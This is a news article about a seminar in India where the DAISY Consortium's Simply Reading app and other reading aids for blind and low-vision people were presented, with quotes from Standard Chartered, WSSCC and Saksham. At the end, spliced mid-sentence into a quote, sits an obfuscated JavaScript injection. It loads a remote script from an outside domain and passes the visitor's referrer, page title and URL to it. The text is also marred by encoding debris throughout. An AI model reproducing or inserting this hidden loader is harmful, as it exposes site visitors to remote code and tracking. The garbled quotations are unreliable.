Daisy Consortium-StanChart: Simply Reading App is simple to use by persons with blindness or low vision

Dr.Gautam Shroff, Vice President and Head of TCS Research extended his whole hearted support for the development of online platform Sugamya Pustakalaya, powered by TCS Access Infinity.A�Mr Richard Orme, CEO of the DAISY Consortium said, a�?The Simply Reading app is simple to use by persons with blindness or low vision on a touch screen device and books can be directly downloaded and read in this app from any online platform such as Sugamya Pustakalaya and Bookshare.a�?

Ms Karuna Bhatia, Head of Sustainability for India, Standard Chartered Bank said, a�?This year is special as it marks the 15 year anniversary of Seeing is Believing, our global community investment programme to tackle visual impairment and avoidable blindness. In India, from 2003 to 2017, we have provided over 13 million eye care interventions through our network of 125 vision centres across 22 states catering to people in the urban, rural and remote parts of the country. We are excited to be part of this project and congratulate the Daisy Consortium for their hard work in creating a long-term and sustainable value for the local community through the development of Simply Reading app which aims to unlock the digital reading potential of the visually impaired. The launch of this app is a true demonstration of how we are getting closer to being digital with a human touch and empowering our communities.a�?

Another key highlight of the seminar was presentation and dissemination of accessible digital and tactile format version of training materials on Menstrual Hygiene an often neglected topic, which were jointly developed by the Water Supply and Sanitation Collaborative Council – a UN agency, A�Saksham and the Assistech Lab of IIT Delhi. Ms Kamini Prakash, Technical Officer of Equality and Non-Discrimination at WSSCC said, “This publication helps to break the silence around menstruation and replace shame and silence with information, pride and confidence so that women and girls with visual impairment adopt safe and hygienic practices during their period and walk tall every day of their lives.a�?

Saksham along with its partner organizations has been involved in several projects to provide a holistic affordable reading and writing solution in various Indian languages. Outcomes of these projects such as the Indo-NVDA screen reading software, DAISY players in all Indian languages, affordable Braille displays, and the dictation software were also demonstrated. Saksham also released about 300 accessible format books for the students of central universities under Amway Indiaa��s CSR programme. Mr Sunil Sachdev, President of Federation of Publishers’s and Book Sellers’s in India committed his whole-hearted support and cooperation to make these books available in accessible format for persons with print disabilities on Sugamya Pustakalaya. A�Prof. Balakrishnan who leads the centre of excellence on tactile graphics at IIT Delhi introduced accessible materials for teaching subjects such as Science and Mathematics to people with blindness. Mr Dipendra Manocha, President of the DAISY Forum of India and founder of Saksham stated “With development of affordable reading devices in Indian languages and braille presses connected to a common online platform, having a collection of about 3.5 lakh accessible format books. This paves the way to scale up our operations and reach out to 5.3 million people with blindness or low vision of our countryvar _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}